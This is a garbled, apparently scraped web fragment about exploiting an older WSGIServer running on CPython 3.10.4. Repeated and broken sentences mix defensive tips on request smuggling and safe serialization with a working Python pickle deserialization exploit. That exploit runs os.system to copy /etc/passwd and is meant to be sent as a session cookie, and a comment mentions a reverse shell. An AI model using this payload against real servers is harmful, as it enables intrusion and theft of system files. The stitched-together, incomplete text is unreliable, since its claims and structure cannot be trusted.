Older WSGI server iterations occasionally mishandle URL decoding.
Configure frontend reverse proxies (like Nginx or Apache) to reject ambiguous requests containing conflicting Content-Length and Transfer-Encoding headers. 3. Avoid Unsafe Deserialization wsgiserver 02 cpython 3104 exploit
A specific release of the standard Python interpreter. This version contains known vulnerabilities related to handling environment variables and parsing specific string types. ⚠️ Core Vulnerabilities and Attack Vectors Avoid Unsafe Deserialization A specific release of the
import pickle import os class Exploit(object): def __reduce__(self): # Executes a reverse shell or reads system files return (os.system, ('cat /etc/passwd > /tmp/compromised.txt',)) # The resulting string is sent as a session cookie to the WSGIServer print(pickle.dumps(Exploit())) Use code with caution. 🛡️ Remediation and Defensive Measures 🛡️ Remediation and Defensive Measures An attacker sends
An attacker sends a malformed HTTP request containing both headers.
Use safe serialization standards such as or Protocol Buffers .